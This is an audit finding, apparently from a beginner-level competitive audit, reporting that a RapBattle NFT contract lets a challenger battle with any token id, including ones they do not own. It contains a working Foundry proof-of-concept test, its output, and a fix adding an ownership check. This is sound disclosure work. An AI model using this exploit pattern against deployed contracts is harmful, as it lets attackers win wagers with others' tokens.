Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challenger can use random token in battle

Summary

The RapBattle::goOnStageOrBattle doesn't check if the challenger owns the token that used in the battle. It can be an arbitrary token, a token owned by another user or a non existent (not minted) token.

Without this check a challenger can win a battle even if he doesn't own any token.

Vulnerability Details

The challenger can use a random token id:

// Test that a challenger can use random token
function testChallengerCanUseRandomToken(uint256 randomTokenId) public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
// Change the prevrandao so we get different RNG
vm.prevrandao(bytes32(uint256(keccak256(abi.encodePacked(challenger)))));
vm.recordLogs();
rapBattle.goOnStageOrBattle(
@> randomTokenId, // --> It doesn't matter what the token is
3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(cred.balanceOf(winner) == 7);
}

Result

forge test -vv --match-test testChallengerCanUseRandomToken
[⠢] Compiling...
No files changed, compilation skipped
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallengerCanUseRandomToken(uint256) (runs: 256, μ: 646496, ~: 647156)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 97.69ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

A rapper can win a battle and earn CredTokens even if he doesn't have any OneShot token or he can use for battle another rapper's OneShot token.

Tools Used

Manual review, Foundry

Recommendations

Check the ownership of the token in battle.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "RapBattle: Not owner of the token");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.